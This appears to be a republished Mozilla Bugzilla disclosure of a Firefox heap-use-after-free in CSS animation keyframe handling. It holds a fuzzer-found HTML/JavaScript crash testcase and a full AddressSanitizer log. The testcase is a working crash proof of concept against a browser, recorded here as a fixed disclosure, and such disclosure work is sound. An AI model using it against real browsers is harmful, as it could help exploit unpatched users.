Skip to content
Memory corruption Disclosed report

heap-use-after-free in mozilla::KeyframeUtils::GetAnimationPropertiesFromKeyframes

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 25 days
  • Paid in 57 days
  • Disclosed after 25 days

The testcase crashes the latest asan build of Firefox as follow:

<script> function start() { o0=window.document; o1=window.document.documentElement; o1.hidden^=true; document.replaceChild(o0.documentElement,document.documentElement); o132=o0.createElement('form'); o0.documentElement.appendChild(o132); o132.innerHTML= "<svg id><style id>@font-face{ font-family: font7; src: url('eot');}{}\n"+ "*{ font-size: 85rem!important; all: initial;<style>@keyframes{{}}*{ animation-name: key12; animation-duration: 0.001s}{}\n"+ "@keyframes key12{ from{ font: larger Helvetica"; } window.setTimeout("start()",4); </script>

Asan log: ==3307==ERROR: AddressSanitizer: heap-use-after-free on address 0x6150002c8b18 at pc 0x7f37dec98652 bp 0x7fff723cbd70 sp 0x7fff723cbd68 READ of size 8 at 0x6150002c8b18 thread T0 (Web Content) #0 0x7f37dec98651 in mozilla::KeyframeUtils::GetAnimationPropertiesFromKeyframes(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType, nsTArraymozilla::Keyframe const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/KeyframeUtils.cpp:543 #1 0x7f37dec853ac in mozilla::dom::KeyframeEffectReadOnly::UpdateProperties(nsStyleContext*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/KeyframeEffect.cpp:516 #2 0x7f37dec84f6c in mozilla::EffectCompositor::UpdateEffectProperties(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/EffectCompositor.cpp:236 #3 0x7f37e310131f in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:951 #4 0x7f37e3105d00 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:1366 #5 0x7f37e32213b2 in mozilla::ElementRestyler::RestyleUndisplayedNodes(nsRestyleHint, mozilla::UndisplayedNode*, nsIContent*, nsStyleContext*, unsigned char) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4656 #6 0x7f37e321b270 in DoRestyleUndisplayedDescendants /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4601 #7 0x7f37e321b270 in mozilla::ElementRestyler::RestyleUndisplayedDescendants(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4587 #8 0x7f37e321a12a in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4394 #9 0x7f37e3213634 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:3469 #10 0x7f37e321d1f8 in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4902 #11 0x7f37e321a219 in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4424 #12 0x7f37e3213634 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:3469 #13 0x7f37e321d1f8 in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4902 #14 0x7f37e321a219 in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4424 #15 0x7f37e3213634 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:3469 #16 0x7f37e322023c in mozilla::ElementRestyler::ComputeStyleChangeFor(nsIFrame*, nsStyleChangeList*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&, nsTArraymozilla::ElementRestyler::ContextToClear&, nsTArray<RefPtr<nsStyleContext> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4566 #17 0x7f37e32059b2 in mozilla::RestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4976 #18 0x7f37e3205682 in mozilla::RestyleManager::StartRebuildAllStyleData(mozilla::RestyleTracker&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:1736 #19 0x7f37e32233c2 in BeginProcessingRestyles /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:1843 #20 0x7f37e32233c2 in mozilla::RestyleTracker::DoProcessRestyles() /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleTracker.cpp:153 #21 0x7f37e320bfc9 in ProcessRestyles /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:536 #22 0x7f37e320bfc9 in mozilla::RestyleManager::ProcessPendingRestyles() /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:1806 #23 0x7f37e3433907 in operator-> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74 #24 0x7f37e3433907 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsPresShell.cpp:4088 #25 0x7f37e315d5e3 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:1753 #26 0x7f37e316a4ab in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:251 #27 0x7f37e316a090 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:270 #28 0x7f37e3169574 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:430 #29 0x7f37e3abe1d0 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/ipc/VsyncChild.cpp:64 #30 0x7f37dd7c614a in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:240 #31 0x7f37dd2c47a1 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1963 #32 0x7f37dd1f8123 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1658 #33 0x7f37dd1f4e7a in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1596 #34 0x7f37dd1e1fa5 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1563 #35 0x7f37dd207fd0 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:722 #36 0x7f37dd207fd0 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:728 #37 0x7f37dd207fd0 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:756 #38 0x7f37dd208a9f in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:476 #39 0x7f37dd208a9f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:495 #40 0x7f37dc4615e4 in nsThread::ProcessNextEvent(bool, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029 #41 0x7f37dc4dc4ca in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #42 0x7f37dd1ff64e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:100 #43 0x7f37dd16e21c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #44 0x7f37dd16e21c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #45 0x7f37dd16e21c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #46 0x7f37e2adaed7 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156 #47 0x7f37e4b5e8a2 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:826 #48 0x7f37dd16e21c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #49 0x7f37dd16e21c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #50 0x7f37dd16e21c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #51 0x7f37e4b5df9c in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:656 #52 0x48dbf7 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:224 #53 0x7f37d9c8582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #54 0x48cb3c in _start (/home/nils/fuzzer3/firefox/plugin-container+0x48cb3c)

0x6150002c8b18 is located 24 bytes inside of 512-byte region [0x6150002c8b00,0x6150002c8d00) freed by thread T0 (Web Content) here: #0 0x474f51 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64 #1 0x7f37dc291fd4 in Free /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:172 #2 0x7f37dc291fd4 in nsTArray_base<nsTArrayInfallibleAllocator, nsTArray_CopyWithMemutils>::ShrinkCapacity(unsigned long, unsigned long) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray-inl.h:230 #3 0x7f37dec9625e in Clear /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:1666 #4 0x7f37dec9625e in operator= /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:899 #5 0x7f37dec9625e in operator= /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:2125 #6 0x7f37dec9625e in mozilla::dom::KeyframeEffectReadOnly::SetKeyframes(nsTArraymozilla::Keyframe&&, nsStyleContext*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/KeyframeEffect.cpp:467 #7 0x7f37e2ee1dfe in UpdateOldAnimationPropertiesWithNew /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:343 #8 0x7f37e2ee1dfe in CSSAnimationBuilder::Build(nsPresContext*, mozilla::StyleAnimation const&, nsCSSKeyframesRule const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:630 #9 0x7f37e2ee07c2 in nsAnimationManager::BuildAnimations(nsStyleContext*, mozilla::dom::Element*, mozilla::AnimationCollectionmozilla::dom::CSSAnimation, nsTArray<RefPtrmozilla::dom::CSSAnimation >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:1091 #10 0x7f37e2edfcc2 in nsAnimationManager::UpdateAnimations(nsStyleContext, mozilla::dom::Element*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:405 #11 0x7f37e31012a0 in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:949 #12 0x7f37e3105d00 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:1366 #13 0x7f37e3105529 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:1324 #14 0x7f37e304d8b4 in StyleSet /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/StyleSetHandleInlines.h:85 #15 0x7f37e304d8b4 in CalcLengthWith(nsCSSValue const&, int, nsStyleFont const*, nsStyleContext*, nsPresContext*, bool, bool, mozilla::RuleNodeCacheConditions&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsRuleNode.cpp:517 #16 0x7f37e3149060 in SetFontSizeCalcOps::ComputeLeafValue(nsCSSValue const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsRuleNode.cpp:3209 #17 0x7f37e30b1529 in nsRuleNode::SetFontSize(nsPresContext*, nsRuleData const*, nsStyleFont const*, nsStyleFont const*, int*, nsFont const&, int, int, bool, bool, mozilla::RuleNodeCacheConditions&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsRuleNode.cpp:3303 #18 0x7f37e30b6b53 in nsRuleNode::SetFont(nsPresContext*, nsStyleContext*, unsigned char, nsRuleData const*, nsStyleFont const*, nsStyleFont*, bool, mozilla::RuleNodeCacheConditions&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsRuleNode.cpp:3889 #19 0x7f37e305a417 in nsRuleNode::ComputeFontData(void*, nsRuleData const*, nsStyleContext*, nsRuleNode*, nsRuleNode::RuleDetail, mozilla::RuleNodeCacheConditions) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsRuleNode.cpp:4148 #20 0x7f37e30527a2 in nsRuleNode::WalkRuleTree(nsStyleStructID, nsStyleContext*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsRuleNode.cpp:2491 #21 0x7f37e305303d in nsStyleContext::StyleData(nsStyleStructID) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleContext.cpp:450 #22 0x7f37e2ec707f in mozilla::StyleAnimationValue::ExtractComputedValue(nsCSSProperty, nsStyleContext*, mozilla::StyleAnimationValue&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/StyleAnimationValue.cpp:3597 #23 0x7f37e2ec522d in ComputeValuesFromStyleRule(nsCSSProperty, mozilla::CSSEnabledState, mozilla::dom::Element*, nsStyleContext*, mozilla::css::StyleRule*, nsTArraymozilla::PropertyStyleAnimationValuePair&, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/StyleAnimationValue.cpp:2906 #24 0x7f37e2ec63ca in bool ComputeValuesFromSpecifiedValue<nsCSSValue const>(nsCSSProperty, mozilla::CSSEnabledState, mozilla::dom::Element*, nsStyleContext*, nsCSSValue const&, bool, nsTArraymozilla::PropertyStyleAnimationValuePair&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/StyleAnimationValue.cpp:2984 #25 0x7f37dec96eec in mozilla::KeyframeUtils::GetAnimationPropertiesFromKeyframes(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType, nsTArraymozilla::Keyframe const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/KeyframeUtils.cpp:525 #26 0x7f37dec853ac in mozilla::dom::KeyframeEffectReadOnly::UpdateProperties(nsStyleContext*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/KeyframeEffect.cpp:516 #27 0x7f37dec84f6c in mozilla::EffectCompositor::UpdateEffectProperties(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/EffectCompositor.cpp:236 #28 0x7f37e310131f in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:951 #29 0x7f37e3105d00 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:1366 #30 0x7f37e32213b2 in mozilla::ElementRestyler::RestyleUndisplayedNodes(nsRestyleHint, mozilla::UndisplayedNode*, nsIContent*, nsStyleContext*, unsigned char) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4656 #31 0x7f37e321b270 in DoRestyleUndisplayedDescendants /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4601 #32 0x7f37e321b270 in mozilla::ElementRestyler::RestyleUndisplayedDescendants(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4587 #33 0x7f37e321a12a in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4394 #34 0x7f37e3213634 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:3469 #35 0x7f37e321d1f8 in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4902 #36 0x7f37e321a219 in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4424

previously allocated by thread T0 (Web Content) here: #0 0x4753cb in realloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:95 #1 0x48e68d in moz_xrealloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:105 #2 0x7f37dc28f9ef in Realloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:181 #3 0x7f37dc28f9ef in nsTArrayInfallibleAllocator::ResultTypeProxy nsTArray_base<nsTArrayInfallibleAllocator, nsTArray_CopyWithMemutils>::EnsureCapacity<nsTArrayInfallibleAllocator>(unsigned long, unsigned long) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray-inl.h:183 #4 0x7f37decab80f in mozilla::Keyframe* nsTArray_Impl<mozilla::Keyframe, nsTArrayInfallibleAllocator>::AppendElement<mozilla::Keyframe, nsTArrayInfallibleAllocator>(mozilla::Keyframe&&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:1584 #5 0x7f37e2ee75b2 in CSSAnimationBuilder::FillInMissingKeyframeValues(nsPresContext*, nsCSSPropertySet, nsCSSPropertySet, nsCSSPropertySet, mozilla::Maybemozilla::ComputedTimingFunction const&, nsTArraymozilla::Keyframe&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:980 #6 0x7f37e2ee4f42 in CSSAnimationBuilder::BuildAnimationFrames(nsPresContext*, mozilla::StyleAnimation const&, nsCSSKeyframesRule const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:830 #7 0x7f37e2ee1a35 in CSSAnimationBuilder::Build(nsPresContext*, mozilla::StyleAnimation const&, nsCSSKeyframesRule const*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:611 #8 0x7f37e2ee07c2 in nsAnimationManager::BuildAnimations(nsStyleContext*, mozilla::dom::Element*, mozilla::AnimationCollectionmozilla::dom::CSSAnimation, nsTArray<RefPtrmozilla::dom::CSSAnimation >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:1091 #9 0x7f37e2edfcc2 in nsAnimationManager::UpdateAnimations(nsStyleContext, mozilla::dom::Element*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsAnimationManager.cpp:405 #10 0x7f37e31012a0 in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:949 #11 0x7f37e3105d00 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/style/nsStyleSet.cpp:1366 #12 0x7f37e32213b2 in mozilla::ElementRestyler::RestyleUndisplayedNodes(nsRestyleHint, mozilla::UndisplayedNode*, nsIContent*, nsStyleContext*, unsigned char) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4656 #13 0x7f37e321b270 in DoRestyleUndisplayedDescendants /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4601 #14 0x7f37e321b270 in mozilla::ElementRestyler::RestyleUndisplayedDescendants(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4587 #15 0x7f37e321a12a in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4394 #16 0x7f37e3213634 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:3469 #17 0x7f37e321d1f8 in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4902 #18 0x7f37e321a219 in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4424 #19 0x7f37e3213634 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:3469 #20 0x7f37e321d1f8 in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4902 #21 0x7f37e321a219 in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4424 #22 0x7f37e3213634 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:3469 #23 0x7f37e322023c in mozilla::ElementRestyler::ComputeStyleChangeFor(nsIFrame*, nsStyleChangeList*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&, nsTArraymozilla::ElementRestyler::ContextToClear&, nsTArray<RefPtr<nsStyleContext> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4566 #24 0x7f37e32059b2 in mozilla::RestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:4976 #25 0x7f37e3205682 in mozilla::RestyleManager::StartRebuildAllStyleData(mozilla::RestyleTracker&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:1736 #26 0x7f37e32233c2 in BeginProcessingRestyles /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:1843 #27 0x7f37e32233c2 in mozilla::RestyleTracker::DoProcessRestyles() /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleTracker.cpp:153 #28 0x7f37e320bfc9 in ProcessRestyles /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:536 #29 0x7f37e320bfc9 in mozilla::RestyleManager::ProcessPendingRestyles() /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/RestyleManager.cpp:1806 #30 0x7f37e3433907 in operator-> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74 #31 0x7f37e3433907 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsPresShell.cpp:4088 #32 0x7f37e315d5e3 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:1753 #33 0x7f37e316a4ab in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:251 #34 0x7f37e316a090 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:270

SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/animation/KeyframeUtils.cpp:543 mozilla::KeyframeUtils::GetAnimationPropertiesFromKeyframes(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType, nsTArraymozilla::Keyframe const&) Shadow bytes around the buggy address: 0x0c2a80051110: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a80051120: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a80051130: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a80051140: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a80051150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c2a80051160: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a80051170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a80051180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a80051190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a800511a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a800511b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Contiguous container OOB:fc ASan internal: fe ==3307==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in DOM: Animation. Mozilla made it public on 7 July 2016.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all
